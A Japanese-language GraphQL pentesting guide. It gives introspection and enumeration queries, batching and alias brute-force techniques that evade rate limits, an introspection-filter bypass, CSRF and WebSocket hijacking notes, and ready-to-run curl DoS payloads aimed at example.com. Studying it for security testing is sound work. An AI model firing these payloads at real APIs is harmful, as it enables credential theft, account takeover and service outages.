Deepen your expertise in Mobile Security with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Introduction
GraphQLは、バックエンドからデータをクエリするための簡素化されたアプローチを提供する効率的な代替手段 として強調されています 。RESTは、データを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いのに対し、GraphQLは単一のリクエスト で必要なすべての情報を取得できるようにします。この簡素化は、データ取得プロセスの複雑さを減少させることにより、開発者に大きな利益をもたらします 。
GraphQLとセキュリティ
GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ脆弱性も出現します。重要な点は、GraphQLはデフォルトで認証メカニズムを含まない ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。
ディレクトリブルートフォース攻撃とGraphQL
露出したGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されます。これらのパスは次のとおりです:
オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査できます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:GraphQL: A query language for APIs.
フィンガープリンティング
ツールgraphw00f は、サーバーで使用されているGraphQLエンジンを検出し、セキュリティ監査人に役立つ情報を印刷することができます。
ユニバーサルクエリ
URLがGraphQLサービスであるかどうかを確認するために、ユニバーサルクエリ query{__typename}
を送信できます。レスポンスに{"data": {"__typename": "Query"}}
が含まれている場合、そのURLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、クエリされたオブジェクトのタイプを明らかにするGraphQLの__typename
フィールドに依存しています。
基本列挙
Graphqlは通常、GET 、POST (x-www-form-urlencoded) および POST (json) をサポートしています。ただし、セキュリティのために、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。
インストロスペクション
スキーマ情報を発見するためにインストロスペクションを使用するには、__schema
フィールドをクエリします。このフィールドはすべてのクエリのルートタイプで利用可能です。
Copy query = { __schema {types{name,fields{name} }}}
このクエリを使用すると、使用されているすべてのタイプの名前を見つけることができます:
Copy query = { __schema {types{name,fields{name,args{name,description, type {name,kind,ofType{name, kind}}}}}}}
このクエリを使用すると、すべてのタイプ、そのフィールド、および引数(および引数のタイプ)を抽出できます。これは、データベースをクエリする方法を知るのに非常に役立ちます。
エラー
エラー が表示 されるかどうかを知ることは興味深いことであり、それは有用な情報 に貢献します。
Copy ?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
インストロスペクションを介してデータベーススキーマを列挙する
インストロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から onOperation
、onFragment
、および onField
ディレクティブを削除してみてください。
Copy #Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
.. .FullType
}
directives {
name
description
args {
.. .InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true ) {
name
description
args {
.. .InputValue
}
type {
.. .TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
.. .InputValue
}
interfaces {
.. .TypeRef
}
enumValues(includeDeprecated: true ) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
.. .TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
.. .TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
インラインイントロスペクションクエリ:
Copy /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
最後のコード行は、graphqlからすべてのメタ情報(オブジェクト名、パラメータ、タイプなど)をダンプするgraphqlクエリです。
イントロスペクションが有効になっている場合、GraphQL Voyager を使用して、GUIですべてのオプションを表示できます。
クエリ
データベース内にどのような情報が保存されているかがわかったので、いくつかの値を抽出してみましょう 。
イントロスペクションでは、どのオブジェクトを直接クエリできるか を見つけることができます(オブジェクトが存在するからといってクエリできるわけではありません)。次の画像では、"queryType "が"Query "と呼ばれ、"Query "オブジェクトのフィールドの1つが"flags "であり、これもオブジェクトのタイプであることがわかります。したがって、フラグオブジェクトをクエリできます。
クエリ"flags "のタイプは"Flags "であり、このオブジェクトは以下のように定義されています:
"Flags "オブジェクトはname とvalue で構成されていることがわかります。次に、クエリを使用してフラグのすべての名前と値を取得できます:
Copy query = {flags{name , value}}
注意してください、クエリするオブジェクト がプリミティブ****タイプ (例えば文字列 )の場合、以下の例のように
単に次のようにクエリできます:
別の例では、"Query " タイプオブジェクトの中に "user " と "users " の 2 つのオブジェクトがありました。
これらのオブジェクトが検索に引数を必要としない場合、必要なデータを要求するだけで すべての情報を取得できます 。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます:
しかし、この例ではそうしようとすると、次の エラー が発生します:
どうやら、"uid " 引数のタイプ Int を使用して検索するようです。
とにかく、Basic Enumeration セクションでは、必要な情報をすべて表示するクエリが提案されていました: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
そのクエリを実行したときに提供された画像を読むと、"user " にタイプ Int の arg "uid " があったことがわかります。
したがって、軽い uid ブルートフォースを実行したところ、uid = 1 でユーザー名とパスワードが取得されました:
query={user(uid:1){user,password}}
私は、パラメータ "user " と "password " を要求できることを 発見 したことに注意してください。なぜなら、存在しないものを探そうとすると (query={user(uid:1){noExists}}
) このエラーが発生するからです:
そして、列挙フェーズ の間に、"dbuser " オブジェクトが "user " と "password " をフィールドとして持っていることを発見しました。
クエリ文字列ダンプトリック(@BinaryShadow_ に感謝)
文字列タイプで検索できる場合、例えば: query={theusers(description: ""){username,password}}
とし、空の文字列 を 検索 すると、すべてのデータをダンプ します。 (この例はチュートリアルの例とは関係ありません。この例では、" theusers " を " description " という文字列フィールドで検索できると仮定してください )。
検索
このセットアップでは、データベース には 人 と 映画 が含まれています。 人 は メール と 名前 で識別され、映画 は 名前 と 評価 で識別されます。 人 は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。
名前 で人を 検索 し、彼らのメールを取得できます:
Copy {
searchPerson (name: "John Doe" ) {
email
}
}
あなたは名前 で人を検索 し、彼らの登録 された映画 を取得できます:
Copy {
searchPerson (name: "John Doe" ) {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
subscribedMovies
のname
を取得する方法に注意してください。
複数のオブジェクトを同時に検索することもできます 。この場合、2つの映画を検索します:
Copy {
searchPerson (subscribedMovies: [{name : "Inception" } , {name : "Rocky" }]) {
name
}
}r
または、エイリアスを使用した複数の異なるオブジェクトの関係 :
Copy {
johnsMovieList : searchPerson (name: "John Doe" ) {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList : searchPerson (name: "David Smith" ) {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
ミューテーションはサーバー側で変更を加えるために使用されます。
イントロスペクション では、宣言された ミューテーション を見つけることができます。次の画像では、"MutationType "は"Mutation "と呼ばれ、"Mutation "オブジェクトにはミューテーションの名前(この場合は"addPerson "など)が含まれています:
このセットアップでは、データベース には人物 と映画 が含まれています。人物 はそのメール と名前 で識別され、映画 はその名前 と評価 で識別されます。人物 は互いに友達になったり、映画を持ったりすることができ、データベース内の関係を示します。
データベース内に新しい 映画を作成する ためのミューテーションは、次のようになります(この例ではミューテーションはaddMovie
と呼ばれます):
Copy mutation {
addMovie (name: "Jumanji: The Next Level" , rating: "6.8/10" , releaseYear: 2019 ) {
movies {
name
rating
}
}
}
クエリ内で値とデータの型がどのように示されているかに注意してください。
さらに、データベースは、addPerson
という名前のmutation 操作をサポートしており、persons の作成と既存のfriends およびmovies との関連付けを可能にします。新しく作成された人物にリンクする前に、友人と映画はデータベースに事前に存在している必要があることに注意することが重要です。
Copy mutation {
addPerson (name: "James Yoe" , email: "jy@example.com" , friends: [{name : "John Doe" } , {email : "jd@example.com" }] , subscribedMovies: [{name : "Rocky" } , {name : "Interstellar" } , {name : "Harry Potter and the Sorcerer's Stone" }]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
ディレクティブのオーバーロード
このレポートで説明されている脆弱性の一つ によれば、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。
1つのAPIリクエストでのバッチブルートフォース
この情報はhttps://lab.wallarm.com/graphql-batching-attack/ から取得されました。
異なる認証情報で多くのクエリを同時に送信する ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能のおかげで、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。
以下は、同時に3つの異なるメール/パスワードペア を使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です:
レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。2番目のミューテーションは正しい認証 データを持ち、レスポンスには正しい認証セッショントークンが含まれています。
インストロスペクションなしのGraphQL
ますます多くのgraphqlエンドポイントがインストロスペクションを無効にしています 。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、clairvoyance のようなツールがスキーマの大部分を再構築するのに十分です。
さらに、Burp Suite拡張機能GraphQuail は、Burpを通過するGraphQL APIリクエストを観察し 、新しいクエリを見るたびに 内部GraphQL スキーマ を構築します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信したときに偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細についてはこちらを確認してください 。
素晴らしいワードリスト は、GraphQLエンティティを発見するためにここにあります 。
GraphQLインストロスペクション防御の回避
APIのインストロスペクションクエリに対する制限を回避するために、__schema
キーワードの後に特殊文字を挿入する ことが効果的です。この方法は、インストロスペクションをブロックすることを目的とした正規表現パターンにおける一般的な開発者の見落としを利用します。GraphQLが無視するが正規表現では考慮されない可能性のあるスペース、改行、カンマ のような文字を追加することで、制限を回避できます。たとえば、__schema
の後に改行を含むインストロスペクションクエリは、そのような防御を回避する可能性があります:
Copy # Example with newline to bypass
{
"query" : "query{__schema
{queryType{name}}}"
}
成功しない場合は、GETリクエスト や**x-www-form-urlencoded
を使用したPOST**などの代替リクエスト方法を検討してください。制限がPOSTリクエストのみに適用される可能性があります。
WebSocketsを試す
このトーク で述べたように、WebSocketsを介してgraphQLに接続できるかどうかを確認してください。これにより、潜在的なWAFを回避し、WebSocket通信がgraphQLのスキーマを漏洩させる可能性があります。
Copy ws = new WebSocket ( 'wss://target/graphql' , 'graphql-ws' );
ws . onopen = function start (event) {
var GQL_CALL = {
extensions : {} ,
query : `
{
__schema {
_types {
name
}
}
}`
}
var graphqlMsg = {
type : 'GQL.START' ,
id : '1' ,
payload : GQL_CALL ,
};
ws .send ( JSON .stringify (graphqlMsg));
}
露出されたGraphQL構造の発見
イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有効な戦略です。これらのクエリは、開発者ツールのSources
タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に露出された機密クエリ を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです:
Copy Inspect / Sources / "Search all files"
file : * mutation
file : * query
GraphQLにおけるCSRF
CSRFが何か分からない場合は、以下のページを読んでください:
外には、CSRFトークンなしで構成された いくつかのGraphQLエンドポイントを見つけることができるでしょう。
GraphQLリクエストは通常、Content-Type **application/json
**を使用してPOSTリクエストで送信されることに注意してください。
Copy { "operationName" : null , "variables" :{} , "query" : "{\n user {\n firstName\n __typename\n }\n}\n" }
しかし、ほとんどのGraphQLエンドポイントは**form-urlencoded
POSTリクエスト**もサポートしています:
Copy query =% 7 B % 0 A ++ user +% 7 B % 0 A ++++ firstName % 0 A ++++ __typename % 0 A ++% 7 D % 0 A % 7 D % 0 A
したがって、前述のようなCSRFリクエストはプレフライトリクエストなしで送信される ため、CSRFを悪用してGraphQLに変更 を加える ことが可能です。
ただし、Chromeのsamesite
フラグの新しいデフォルトクッキー値はLax
であることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。
クエリ リクエスト をGET リクエスト として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。
また、XS-Search 攻撃 を悪用することで、ユーザーの資格情報を悪用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。
詳細については、こちらの元の投稿を確認してください 。
GraphQLにおけるクロスサイトWebSocketハイジャック
GraphQLを悪用するCRSF脆弱性と同様に、保護されていないクッキーを使用してGraphQLでの認証を悪用するためのクロスサイトWebSocketハイジャックを実行することも可能です 。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。
詳細については、次を確認してください:
GraphQLにおける認可
エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみを確認し、認可は確認しない場合があります。
クエリ入力変数を変更すると、機密アカウントの詳細が漏洩 する可能性があります。
ミューテーションは、他のアカウントデータを変更しようとすることでアカウントの乗っ取りにつながる可能性があります。
Copy {
"operationName" : "updateProfile" ,
"variables" :{ "username" : INJECT , "data" : INJECT } ,
"query" : "mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
GraphQLにおける認証バイパス
クエリのチェーン を組み合わせることで、弱い認証システムをバイパスできます。
以下の例では、操作が「forgotPassword」であり、それに関連するforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
GraphQLにおけるエイリアスを使用したレート制限のバイパス
GraphQLでは、エイリアスはAPIリクエストを行う際にプロパティの名前を明示的に指定する ことを可能にする強力な機能です。この機能は、同じタイプ のオブジェクトの複数のインスタンスを単一のリクエスト内で取得する のに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。
GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: エイリアス 。
エイリアスの主な目的は、数多くのAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を阻止するためにHTTPリクエストの数 を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。
以下の例を考えてみましょう。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。
Copy # Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount ($code: Int) {
isvalidDiscount(code:$code ){
valid
}
isValidDiscount2:isValidDiscount(code:$code ){
valid
}
isValidDiscount3:isValidDiscount(code:$code ){
valid
}
}
DoS in GraphQL
エイリアスのオーバーロード
エイリアスのオーバーロード は、攻撃者が同じフィールドに対して多くのエイリアスでクエリをオーバーロードし、バックエンドリゾルバがそのフィールドを繰り返し実行するGraphQLの脆弱性です。これによりサーバーリソースが圧倒され、**サービス拒否(DoS)**につながる可能性があります。例えば、以下のクエリでは、同じフィールド(expensiveField
)がエイリアスを使用して1,000回要求され、バックエンドがそれを1,000回計算することを強制され、CPUやメモリが枯渇する可能性があります:
Copy # Test provided by https://github.com/dolevf/graphql-cop
curl - X POST - H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
' https :// example . com / graphql '
これを軽減するために、リソースの悪用を防ぐためにエイリアスカウント制限、クエリの複雑さ分析、またはレート制限を実装します。
配列ベースのクエリバッチ処理
配列ベースのクエリバッチ処理 は、GraphQL APIが単一のリクエストで複数のクエリをバッチ処理することを許可する脆弱性であり、攻撃者が同時に大量のクエリを送信できるようになります。これにより、すべてのバッチクエリが並行して実行され、バックエンドが圧倒され、過剰なリソース(CPU、メモリ、データベース接続)を消費し、最終的には**サービス拒否(DoS)**につながる可能性があります。バッチ内のクエリ数に制限がない場合、攻撃者はこれを悪用してサービスの可用性を低下させることができます。
Copy # Test provided by https://github.com/dolevf/graphql-cop
curl - X POST - H "User-Agent: graphql-cop/1.13" \
- H "Content-Type: application/json" \
- d '[{ "query" : "query cop { __typename }" }, { "query" : "query cop { __typename }" }, { "query" : "query cop { __typename }" }, { "query" : "query cop { __typename }" }, { "query" : "query cop { __typename }" }, { "query" : "query cop { __typename }" }, { "query" : "query cop { __typename }" }, { "query" : "query cop { __typename }" }, { "query" : "query cop { __typename }" }, { "query" : "query cop { __typename }" }]' \
' https :// example . com / graphql '
この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になります。
ディレクティブオーバーローディング脆弱性
ディレクティブオーバーローディング は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することで、計算またはメモリ使用量を高め、**サービス拒否(DoS)**を引き起こすことができます。
Copy # Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
前の例では、@aa
は宣言されていない可能性がある カスタムディレクティブであることに注意してください。通常存在する一般的なディレクティブは**@include
**です:
Copy curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
すべての宣言されたディレクティブを発見するために、イントロスペクションクエリを送信することもできます:
Copy curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
そしてカスタムのいくつかを使用します 。
フィールド重複脆弱性
フィールド重複 は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、数百または数千の繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。
Copy # Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
ツール
脆弱性スキャナー
https://github.com/doyensec/inql : 高度な GraphQL テスト用の Burp 拡張機能。_スキャナー は InQL v5.0 のコアであり、GraphQL エンドポイントまたはローカルのイントロスペクションスキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。 アタッカー _コンポーネントを使用すると、バッチ GraphQL 攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます。
クライアント
自動テスト
参考文献
モバイルセキュリティ の専門知識を深めるために、8kSec Academy で学びましょう。自己ペースのコースを通じて iOS と Android のセキュリティをマスターし、認定を取得しましょう: